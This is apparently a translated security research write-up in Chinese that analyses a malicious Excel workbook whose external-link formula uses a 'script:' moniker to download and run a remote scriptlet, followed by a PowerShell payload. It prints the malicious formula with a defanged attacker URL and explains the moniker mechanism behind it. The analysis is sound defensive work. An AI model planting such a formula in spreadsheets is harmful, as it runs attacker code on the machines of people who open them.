一、前言
最近我们发现了一个恶意Office Excel文件,该文件可以下载并执行恶意软件。仔细检查这个文件后,我们并没有发现宏、shellcode或者DDE代码的任何蛛丝马迹。当我们将该文件提交给Virustotal上扫描时,反病毒软件对该文件的检测率比较低,这表明我们发现了一种新的、未知的攻击技术。
二、用户感染过程
当用户打开这个Excel文件时,马上就会看到一个对话框,提示需要更新工作簿(workbook)中的外部链接。外部链接(external links)是微软Office的一个功能,作者可以通过外部资源链接来共享Office文档,无需将这些资源直接嵌入文档中,这样可以使整个文档的体积更小,更新起来也更加灵活。从这个角度来看,这种攻击看起来与DDE攻击方法非常类似,DDE攻击是最近比较流行的Office文件利用技术,通过微软的动态数据交换(Dynamic Data Exchange)功能来执行外部代码。
一旦用户同意更新链接,该文档就会立即创建cmd/PowerShell进程,该进程会下载并执行下一阶段载荷(exe文件):
所使用的exe文件检查结果如下所示:
然而,仔细检查这个Excel文档后,我们并没发现任何DDE攻击的痕迹。我们可以找到的只是一个单元格(cell),其中包含一个公式:=Package|’scRiPt:http://magchris[.]ga/images/squrey.xml’!””
检查这个URL地址,我们发现该地址指向的是一个Microsoft scriptlet(脚本片段)。这种scriptlet是用于脚本语言的Microsoft XML封装器(wrapper),可以将脚本注册为COM对象并加以执行。我们所分析的这个scriptlet封装了一段VBScript,这段脚本可以下载并执行第二阶段的恶意软件。
三、“Package”关键词的作用
虽然这个公式看起来非常奇怪,但实际上这是Excel中链接文件对象的标准格式。例如,我们可以在Excel中创建一个链接,指向某个文件对象,具体方法如下所示:
提交链接创建请求后,单元格的公式就会变成:=Package|’C:usersmyfile.txtl’!””
,这样在Excel电子表格中我们就拥有指向本地文件的一个链接。当然,如果攻击者将这功能用于恶意目的时,情况就没有那么美好了。
四、如何滥用文件对象链接
为了理解这种攻击方法的原理,我们需要了解Office如何处理这种公式。当用户选择“更新链接”时,Excel会解析公式中的具体路径,将该路径传递给MkParseDisplayName
这个API函数。
MkParseDisplayName
函数负责将可读性较好的URI(如scRiPt:http://magchris[.]ga/images/squrey.xml
)转换为与URI模式最为匹配的一种等价形式(moniker)。在Office中,moniker是一种对象接口,可以用来绑定或应用到某个资源上,比如,一个本地文件URI会被Office检测为一个本地文件资源,因此Office会返回一个FileMoniker
用于对象交互。不同的资源URI经过处理后对应不同的moniker,如下表所示:
如你所示,由于攻击者在资源URI中直接使用了“script:”前缀,因此MkParseDisplayName
会将该资源识别为scriptlet,从而返回对应Windows脚本组件(Windows Script Component)的一个moniker(ComScriptletMoniker – {06290BD3-48AA-11D2-8432-006008C3FBFC})。
现在,Excel中的链接对象已经与一个Windows脚本组件moniker相关联,攻击者只需要使用一个API就能执行脚本。在这个moniker解析过程完成后,程序会检查所得结果是否为FileMoniker,对应的汇编代码如下图所示:
对于这个恶意工作簿而言,程序并没有将这个moniker解析为FileMoniker,而是解析为MKSYS_NONE(因为这是一个ComScriptletMoniker)。这样一来,程序就会转入MSO.dll
调用分支(如下图中红色高亮部分),该调用会继续调用OleCreateLink
:
当与Scriptlet Moniker关联的链接数据传递给OleCreateLink
API时,远程资源就会被下载并执行,导致受害者主机被攻陷。为了演示这一过程,我们调试了Excel程序,当用户选择“更新工作簿链接”时,Excel就会调用OleCreateLink
(使用的是scriptlet moniker),执行远程脚本,最终会执行cmd以及PowerShell,如下图所示(可以仔细看一下位于下图右侧窗口的Processhacker.exe)。
五、攻击载荷
虽然这种利用方法非常有效,但这个样本在利用过程中貌似出现了一个bug,导致最终载荷无法成功执行。这是因为攻击者使用的是Powershell的“Start”命令来执行可执行文件,但忘了加上“.exe”文件扩展名。由于Powershell的“Start”命令使用的是ShellExecute
这个API来查找与目标文件扩展名匹配的打开方式,因此导致攻击载荷无法成功执行。因此,我们无法在动态环境中看到最终载荷,然而我们的沙盒分析环境可以正确识别出攻击过程中的具体步骤及异常现象,将相关程序标记为恶意程序,如下图所示。
虽然这个早期变种看起来并没有携带有效的攻击载荷,但我们可以预见的是,未来的样本很快就可以正确利用这种攻击方式。
六、总结
最近几个月以来,我们发现攻击者开始利用微软Office中的“逻辑缺陷”来攻击用户。这些缺陷危害很大,因为这些攻击方法非常可靠,受影响的应用程序(或者环境)的小版本差异并不会影响利用过程,这一点与传统漏洞有所不同。与此同时,利用逻辑缺陷,攻击者通常不需要在文档中嵌入额外的shellcode,因此传统的基于特征的检测方法难以发现这类安全威胁。另一方面,基于沙盒的检测机制可以像真实的目标系统那样跟踪攻击行为,因此可以弥补传统检测方法的缺陷,跟踪到之前未发现的零日(0-day)逻辑缺陷利用方法。